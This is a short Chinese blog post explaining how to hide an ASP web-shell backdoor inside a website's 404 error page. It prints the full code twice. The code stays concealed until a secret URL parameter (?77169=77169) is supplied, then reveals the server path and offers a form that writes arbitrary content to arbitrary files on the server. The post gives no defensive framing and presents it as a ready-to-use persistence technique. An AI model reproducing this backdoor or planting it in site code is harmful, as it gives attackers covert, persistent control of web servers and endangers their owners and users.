利用404错误页面隐藏后门

  • A+
所属分类:颓废's Blog
摘要

先找一个404错误页面 把源码复制下来保存到本地asp格式 <% if request(“77169″)=”77169” then %> <title>77169 </title> <%=”<br>”%> <%=”The file location:”+server.mappath(request.servervariables(“script_name”))%> <%Dim objFSO%> <%Dim fdata%> <%Dim objCountFile%> <%on error resume next%> <%Set objFSO = Server.CreateObject(“Scripting.FileSystemObject”)%> <%if Trim(request(“syfdpath”))<>”” then%> <%fdata = request(“cyfddata”)%> <%Set objCountFile=objFSO.CreateTextFile(request(“syfdpath”),True)%> <%objCountFile.Write fdata%> <%if err =0 then%> <font color=red>save!</font> <%end if%> <%end if%> <%objCountFile.Close%> <%Set objCountFile=Nothing%> <%Set objFSO = Nothing%> <form action=” method=post> <p> <input type=text name=syfdpath width=32 value=”<%=server.mappath(Request.ServerVariables(“SCRIPT_NAME”))%>” style=”border:solid 1px” size=80> </p> <p> <textarea name=cyfddata cols=80 rows=10 width=32 style=”border:solid 1px”></textarea> </p> <input type=submit value=save style=”border:solid 1px”> <font color=”#FF0000″><strong> www.hksafe.cn.com</strong></font> </p> </form><form action=”” method=”post”> <% end if %> 把这段代码复制到文件头里然后保存
我们访问404页面返回的还是404
莫慌,
在url后面加上?77169=77169

先找一个404错误页面

利用404错误页面隐藏后门

把源码复制下来保存到本地asp格式

<% if request("77169")="77169" then %> <title>77169 </title> <%="<br>"%> <%="The file location:"+server.mappath(request.servervariables("script_name"))%> <%Dim objFSO%> <%Dim fdata%> <%Dim objCountFile%> <%on error resume next%> <%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%> <%if Trim(request("syfdpath"))<>"" then%> <%fdata = request("cyfddata")%> <%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%> <%objCountFile.Write fdata%> <%if err =0 then%> <font color=red>save!</font> <%end if%> <%end if%> <%objCountFile.Close%> <%Set objCountFile=Nothing%> <%Set objFSO = Nothing%> <form action='' method=post> <p>     <input type=text name=syfdpath width=32 value="<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>" style="border:solid 1px" size=80> </p> <p>       <textarea name=cyfddata cols=80 rows=10 width=32 style="border:solid 1px"></textarea> </p>     <input type=submit value=save style="border:solid 1px">     <font color="#FF0000"><strong>                                    www.hksafe.cn.com</strong></font> </p> </form><form action="" method="post"> <% end if %>

把这段代码复制到文件头里然后保存
我们访问404页面返回的还是404
莫慌,
在url后面加上?77169=77169

<ignore_js_op>

利用404错误页面隐藏后门

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: